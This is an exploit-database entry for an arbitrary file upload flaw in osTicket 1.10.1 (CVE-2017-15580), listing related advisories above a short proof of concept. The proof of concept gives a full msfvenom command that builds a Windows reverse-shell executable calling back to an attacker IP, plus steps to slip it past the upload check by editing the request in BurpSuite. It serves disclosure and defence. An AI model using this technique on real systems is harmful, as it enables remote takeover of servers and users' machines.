osTicket 1.10.1 - Arbitrary File Upload

🗓️ 08 Aug 2018 00:00:00Reported by Rajwinder SinghType

exploitpack👁 49 Views

osTicket 1.10.1 allows arbitrary file uploads without validation, enabling reverse shell execution.

Reporter	Title	Published	Views	Family All 10
0day.today	osTicket 1.10.1 Shell Upload Vulnerability	25 Oct 201700:00	–	zdt
BDU FSTEC	The vulnerability of the tickets.php script in the osTicket customer support system, which allows a perpetrator to upload malicious files.	2 Feb 201800:00	–	bdu_fstec
CNVD	OsTicket File Upload Vulnerability	26 Oct 201700:00	–	cnvd
CVE	CVE-2017-15580	23 Oct 201708:00	–	cve
Cvelist	CVE-2017-15580	23 Oct 201708:00	–	cvelist
Exploit DB	osTicket 1.10.1 - Arbitrary File Upload	8 Aug 201800:00	–	exploitdb
NVD	CVE-2017-15580	23 Oct 201708:29	–	nvd
OSV	CVE-2017-15580	23 Oct 201708:29	–	osv
Packet Storm	osTicket 1.10.1 Shell Upload	25 Oct 201700:00	–	packetstorm
Prion	Design/Logic Flaw	23 Oct 201708:29	–	prion

# Exploit Title: osTicket 1.10.1 - Arbitrary File Upload
# Exploit Author: r3j10r (Rajwinder Singh)
# Date: 2018-08-08
# Vendor Homepage: http://osticket.com/
# Software Link: http://osticket.com/download
# Version: osTicket v1.10.1
# CVE-2017-15580

# Vulnerability Details:
# osTicket application provides a functionality to upload 'html' files 
# with associated formats. However, application does not properly validate 
# the content of file and accepts any type of files.

# Proof-of-Concept:
# Uploaded shell to get reverse shell of end user for the demo purpose.

1. Created a valid '.html' file to bypass client-side validations.
 <html>
  <title>test</title>
  <body>
   <p>test page</p>
  </body>
 </html>
2. Created a reverse shell with '.exe' file extension using msfvenom.
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<YOUR IP> LPORT=4444 -b "\x00" -e <encoder> -f exe -o reverse.exe
3. Intercepted the request in BurpSuite and changed file extension '.html' to '.exe' and its content
4. Received a valid response from server along with uploaded malicious file.
5. Got reverse shell after execution of the uploaded payload.

# Affected Component:
Parameter: tickets.php?id=<ticket_number>#reply

08 Aug 2018 00:00Current

EPSS0.15977